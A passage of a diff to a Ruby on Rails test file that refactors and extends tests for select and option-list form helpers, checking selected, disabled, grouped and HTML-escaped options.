+      tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
+      ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
+      zones << tz
     end
+    ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
+  end
 
-    def setup
-      @fake_timezones = %w(A B C D E).inject([]) do |zones, id|
-        tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
-        ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
-        zones << tz
-      end
-      ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
-    end
+  def test_collection_options
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title")
+    )
+  end
 
-    def test_collection_options
-      @posts = [
-        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
-      ]
 
+  def test_collection_options_with_preselected_value
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", "Babe")
+    )
+  end
+
+  def test_collection_options_with_preselected_value_array
       assert_dom_equal(
-        "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-        options_from_collection_for_select(@posts, "author_name", "title")
+        "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+        options_from_collection_for_select(dummy_posts, "author_name", "title", [ "Babe", "Cabe" ])
       )
-    end
+  end
 
+  def test_collection_options_with_proc_for_selected
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", lambda{|p| p.author_name == 'Babe' })
+    )
+  end
 
-    def test_collection_options_with_preselected_value
-      @posts = [
-        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
-      ]
+  def test_collection_options_with_disabled_value
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => "Babe")
+    )
+  end
 
+  def test_collection_options_with_disabled_array
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => [ "Babe", "Cabe" ])
+    )
+  end
+
+  def test_collection_options_with_preselected_and_disabled_value
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", :selected => "Cabe", :disabled => "Babe")
+    )
+  end
+
+  def test_collection_options_with_proc_for_disabled
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda{|p| %w(Babe Cabe).include? p.author_name })
+    )
+  end
+
+  def test_string_options_for_select
+    options = "<option value=\"Denmark\">Denmark</option><option value=\"USA\">USA</option><option value=\"Sweden\">Sweden</option>"
+    assert_dom_equal(
+      options,
+      options_for_select(options)
+    )
+  end
+
+  def test_array_options_for_select
+    assert_dom_equal(
+      "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "<Denmark>", "USA", "Sweden" ])
+    )
+  end
+
+  def test_array_options_for_select_with_selection
+    assert_dom_equal(
+      "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
+    )
+  end
+
+  def test_array_options_for_select_with_selection_array
       assert_dom_equal(
-        "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-        options_from_collection_for_select(@posts, "author_name", "title", "Babe")
+        "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
+        options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
       )
-    end
+  end
 
-    def test_collection_options_with_preselected_value_array
-        @posts = [
-          Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-          Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-          Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
-        ]
+  def test_array_options_for_select_with_disabled_value
+    assert_dom_equal(
+      "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => "<USA>")
+    )
+  end
 
-        assert_dom_equal(
-          "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
-          options_from_collection_for_select(@posts, "author_name", "title", [ "Babe", "Cabe" ])
-        )
-    end
+  def test_array_options_for_select_with_disabled_array
+    assert_dom_equal(
+      "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\" disabled=\"disabled\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => ["<USA>", "Sweden"])
+    )
+  end
 
-    def test_array_options_for_select
+  def test_array_options_for_select_with_selection_and_disabled_value
+    assert_dom_equal(
+      "<option value=\"Denmark\" selected=\"selected\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], :selected => "Denmark", :disabled => "<USA>")
+    )
+  end
+
+  def test_array_options_for_string_include_in_other_string_bug_fix
       assert_dom_equal(
-        "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
-        options_for_select([ "<Denmark>", "USA", "Sweden" ])
-      )
-    end
-
-    def test_array_options_for_select_with_selection
-      assert_dom_equal(
-        "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
-        options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
-      )
-    end
-
-    def test_array_options_for_select_with_selection_array
-        assert_dom_equal(
-          "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
-          options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
-        )
-    end
-
-    def test_array_options_for_string_include_in_other_string_bug_fix
-        assert_dom_equal(
-          "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
-          options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
-        )
-        assert_dom_equal(
-          "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
-          options_for_select([ "ruby", "rubyonrails" ], "ruby")
-        )
-        assert_dom_equal(
-          %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
-          options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
-        )
-    end
-
-    def test_hash_options_for_select
-      assert_dom_equal(
-        "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
-        options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").sort.join("\n")
+        "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
+        options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
       )
       assert_dom_equal(
-        "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-        options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").sort.join("\n")
+        "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
+        options_for_select([ "ruby", "rubyonrails" ], "ruby")
       )
       assert_dom_equal(
-        "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-        options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").sort.join("\n")
+        %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
+        options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
       )
-    end
+  end
 
-    def test_ducktyped_options_for_select
-      quack = Struct.new(:first, :last)
-      assert_dom_equal(
-        "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
-        options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
-      )
-      assert_dom_equal(
-        "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-        options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
-      )
-      assert_dom_equal(
-        "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-        options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
-      )
-    end
+  def test_hash_options_for_select
+    assert_dom_equal(
+      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
+      options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").sort.join("\n")
+    )
+    assert_dom_equal(
+      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").sort.join("\n")
+    )
+    assert_dom_equal(
+      "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").sort.join("\n")
+    )
+  end
 
-    def test_option_groups_from_collection_for_select
-      @continents = [
-        Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
-        Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] )
-      ]
+  def test_ducktyped_options_for_select
+    quack = Struct.new(:first, :last)
+    assert_dom_equal(
+      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
+      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
+    )
+    assert_dom_equal(
+      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
+    )
+    assert_dom_equal(
+      "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
+    )
+  end
 
-      assert_dom_equal(
-        "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
-        option_groups_from_collection_for_select(@continents, "countries", "continent_name", "country_id", "country_name", "dk")
-      )
-    end
+  def test_option_groups_from_collection_for_select
+    @continents = [
+      Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
+      Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] )
+    ]
 
-    def test_time_zone_options_no_parms
-      opts = time_zone_options_for_select
-      assert_dom_equal "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\">D</option>\n" +
-                   "<option value=\"E\">E</option>",
-                   opts
-    end
+    assert_dom_equal(
+      "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
+      option_groups_from_collection_for_select(@continents, "countries", "continent_name", "country_id", "country_name", "dk")
+    )
+  end
 
-    def test_time_zone_options_with_selected
-      opts = time_zone_options_for_select( "D" )
-      assert_dom_equal "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                   "<option value=\"E\">E</option>",
-                   opts
-    end
+  def test_grouped_options_for_select_with_array
+    assert_dom_equal(
+      "<optgroup label=\"North America\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+      grouped_options_for_select([
+         ["North America",
+             [['United States','US'],"Canada"]],
+         ["Europe",
+             [["Great Britain","GB"], "Germany"]]
+       ])
+    )
+  end
 
-    def test_time_zone_options_with_unknown_selected
-      opts = time_zone_options_for_select( "K" )
-      assert_dom_equal "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\">D</option>\n" +
-                   "<option value=\"E\">E</option>",
-                   opts
-    end
+  def test_grouped_options_for_select_with_selected_and_prompt
+    assert_dom_equal(
+        "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...")
+    )
+  end
 
-    def test_time_zone_options_with_priority_zones
-      zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
-      opts = time_zone_options_for_select( nil, zones )
-      assert_dom_equal "<option value=\"B\">B</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\">D</option>",
-                   opts
-    end
+  def test_optgroups_with_with_options_with_hash
+    assert_dom_equal(
+       "<optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup><optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup>",
+       grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']})
+    )
+  end
 
-    def test_time_zone_options_with_selected_priority_zones
-      zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
-      opts = time_zone_options_for_select( "E", zones )
-      assert_dom_equal "<option value=\"B\">B</option>\n" +
-                   "<option value=\"E\" selected=\"selected\">E</option>" +
-                   "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\">D</option>",
-                   opts
-    end
+  def test_time_zone_options_no_parms
+    opts = time_zone_options_for_select
+    assert_dom_equal "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\">D</option>\n" +
+                 "<option value=\"E\">E</option>",
+                 opts
+  end
 
-    def test_time_zone_options_with_unselected_priority_zones
-      zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
-      opts = time_zone_options_for_select( "C", zones )
-      assert_dom_equal "<option value=\"B\">B</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"C\" selected=\"selected\">C</option>\n" +
-                   "<option value=\"D\">D</option>",
-                   opts
-    end
+  def test_time_zone_options_with_selected
+    opts = time_zone_options_for_select( "D" )
+    assert_dom_equal "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>",
+                 opts
+  end
 
-    def test_select
-      @post = Post.new
-      @post.category = "<mus>"
-      assert_dom_equal(
-        "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        select("post", "category", %w( abe <mus> hest))
-      )
-    end
+  def test_time_zone_options_with_unknown_selected
+    opts = time_zone_options_for_select( "K" )
+    assert_dom_equal "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\">D</option>\n" +
+                 "<option value=\"E\">E</option>",
+                 opts
+  end
 
-    def test_select_under_fields_for
-      @post = Post.new
-      @post.category = "<mus>"
+  def test_time_zone_options_with_priority_zones
+    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+    opts = time_zone_options_for_select( nil, zones )
+    assert_dom_equal "<option value=\"B\">B</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\">D</option>",
+                 opts
+  end
 
-      fields_for :post, @post do |f|
-        concat f.select(:category, %w( abe <mus> hest))
-      end
-    
-      assert_dom_equal(
-        "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        output_buffer
-      )
-    end
+  def test_time_zone_options_with_selected_priority_zones
+    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+    opts = time_zone_options_for_select( "E", zones )
+    assert_dom_equal "<option value=\"B\">B</option>\n" +
+                 "<option value=\"E\" selected=\"selected\">E</option>" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\">D</option>",
+                 opts
+  end
 
-    def test_select_under_fields_for_with_index
-      @post = Post.new
-      @post.category = "<mus>"
+  def test_time_zone_options_with_unselected_priority_zones
+    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+    opts = time_zone_options_for_select( "C", zones )
+    assert_dom_equal "<option value=\"B\">B</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"C\" selected=\"selected\">C</option>\n" +
+                 "<option value=\"D\">D</option>",
+                 opts
+  end
 
-      fields_for :post, @post, :index => 108 do |f|
-        concat f.select(:category, %w( abe <mus> hest))
-      end
+  def test_select
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest))
+    )
+  end
 
-      assert_dom_equal(
-        "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        output_buffer
-      )
-    end
+  def test_select_under_fields_for
+    @post = Post.new
+    @post.category = "<mus>"
 
-    def test_select_under_fields_for_with_auto_index
-      @post = Post.new
-      @post.category = "<mus>"
-      def @post.to_param; 108; end
-
-      fields_for "post[]", @post do |f|
-        concat f.select(:category, %w( abe <mus> hest))
-      end
-
-      assert_dom_equal(
-        "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        output_buffer
-      )
-    end
-
-    def test_select_with_blank
-      @post = Post.new
-      @post.category = "<mus>"
-      assert_dom_equal(
-        "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        select("post", "category", %w( abe <mus> hest), :include_blank => true)
-      )
-    end
-
-    def test_select_with_blank_as_string
-      @post = Post.new
-      @post.category = "<mus>"
-      assert_dom_equal(
-        "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
-      )
-    end
-
-    def test_select_with_default_prompt
-      @post = Post.new
-      @post.category = ""
-      assert_dom_equal(
-        "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        select("post", "category", %w( abe <mus> hest), :prompt => true)
-      )
-    end
-
-    def test_select_no_prompt_when_select_has_value
-      @post = Post.new
-      @post.category = "<mus>"
-      assert_dom_equal(
-        "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        select("post", "category", %w( abe <mus> hest), :prompt => true)
-      )
-    end
-
-    def test_select_with_given_prompt
-      @post = Post.new
-      @post.category = ""
-      assert_dom_equal(
-        "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
-      )
-    end
-
-    def test_select_with_prompt_and_blank
-      @post = Post.new
-      @post.category = ""
-      assert_dom_equal(
-        "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
-      )
-    end
-
-    def test_select_with_selected_value
-      @post = Post.new
-      @post.category = "<mus>"
-      assert_dom_equal(
-        "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
-      )
+    fields_for :post, @post do |f|
+      concat f.select(:category, %w( abe <mus> hest))
     end
   
-    def test_select_with_index_option
-      @album = Album.new
-      @album.id = 1
-    
-      expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"    
-
-      assert_dom_equal(
-        expected, 
-        select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
-      )
-    end
-
-    def test_select_with_selected_nil
-      @post = Post.new
-      @post.category = "<mus>"
-      assert_dom_equal(
-        "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-        select("post", "category", %w( abe <mus> hest ), :selected => nil)
-      )
-    end
-
-    def test_collection_select
-      @posts = [
-        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
-      ]
-
-      @post = Post.new
-      @post.author_name = "Babe"
-
-      assert_dom_equal(
-        "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-        collection_select("post", "author_name", @posts, "author_name", "author_name")
-      )
-    end
-
-    def test_collection_select_under_fields_for
-      @posts = [
-        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
-      ]
-
-      @post = Post.new
-      @post.author_name = "Babe"
-
-      fields_for :post, @post do |f|
-        concat f.collection_select(:author_name, @posts, :author_name, :author_name)
-      end
-    
-      assert_dom_equal(
-        "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-        output_buffer
-      )
-    end
-
-    def test_collection_select_under_fields_for_with_index
-      @posts = [
-        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
-      ]
-
-      @post = Post.new
-      @post.author_name = "Babe"
-
-      fields_for :post, @post, :index => 815 do |f|
-        concat f.collection_select(:author_name, @posts, :author_name, :author_name)
-      end
-
-      assert_dom_equal(
-        "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-        output_buffer
-      )
-    end
-
-    def test_collection_select_under_fields_for_with_auto_index
-      @posts = [
-        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
-      ]
-
-      @post = Post.new
-      @post.author_name = "Babe"
-      def @post.to_param; 815; end
-
-      fields_for "post[]", @post do |f|
-        concat f.collection_select(:author_name, @posts, :author_name, :author_name)
-      end
-
-      assert_dom_equal(
-        "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-        output_buffer
-      )
-    end
-
-    def test_collection_select_with_blank_and_style
-      @posts = [
-        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
-      ]
-
-      @post = Post.new
-      @post.author_name = "Babe"
-
-      assert_dom_equal(
